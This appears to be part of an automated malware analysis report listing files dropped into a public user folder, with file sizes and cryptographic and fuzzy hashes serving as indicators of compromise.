- SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
- MD5 7e74f75663e5b5a4f3452a4c603ee45d
- SHA1 d5114b086b721f2c87ea7152025792958ab4c629
- SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
- MD5 SHA1 SHA512
- Path C:\Users\Public\jfiNli\UxEnhance64.dll
- Size 3.1MB
- SHA256 83bd53e2bdc21f46c708974860627261a332c90d25898f32239a2d5afc489f83
- MD5 a73aa3bf75a6287897a8683cbda42c19
- SHA1 dd4b91d1912f97c688b2e17835d4235e02b0b67a
- SHA512 040809e2d6643000f58cda2cb77b83e08449c2db9082717b1c78a5f3f1f686424790d8655f45858f2b69ab7cdd45420600685d143c201c48b576665f0f637fef
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+b:P9m29xx3Tiqt06ox6+z2rNNrKob
- TLSH T1FFE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\jfiNli\adoresd.dat
- Size 4.7MB
- SHA256 f15a80bbc5dfa48d9902376049aabc14da9ff1bdfde935a993d11005556aefed
- MD5 f4cbd1192fdc3898fd669520d10c349f
- SHA1 f25daad29de1422c1d5fc62755453c13f192c0a6
- SHA512 d60e200ec82fb6a7cef19d366115a170c7370259cba7a151d53963164b84d98df1542f67f1decce7db501db2da31574e4c5c4f96434c5e3c34a171a7e6b97a1e
- SSDEEP 98304:Dmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:Ku1SwOflfZPF6Ma0bsoa5+qd
- TLSH T1503633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070145DB30CE9015BC4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\jfiNli\lyiF9i.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\jfiNli\msadox.tb
- Size 8KB
- SHA256 27727e6ab68ea92b07ab3314e3577fad822429ec0b466dd5d4c90db1d8229c19
- MD5 e4e357cfa0e2330d23c721f612db8e85
- SHA1 231a6cefa2869913d1f4b1ad159a421a6feb1492
- SHA512 c76f4d00cc39a2d0b37bffa5f01b31452ac912970db04be39c8dc0d3a63bd14bfbe828f0df7e47af84f5fe23bf83c984e7936d360cbb3c092c9e38249dce1791
- SSDEEP 192:aqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:asZqZOXQ3uqvR2Kfzp
- TLSH T14B029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\c:\xxxx.ini
- Size 2B
- SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
- MD5 81051bcc2cf1bedf378224b0a93e2877
- SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
- SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
- MD5 SHA1 SHA512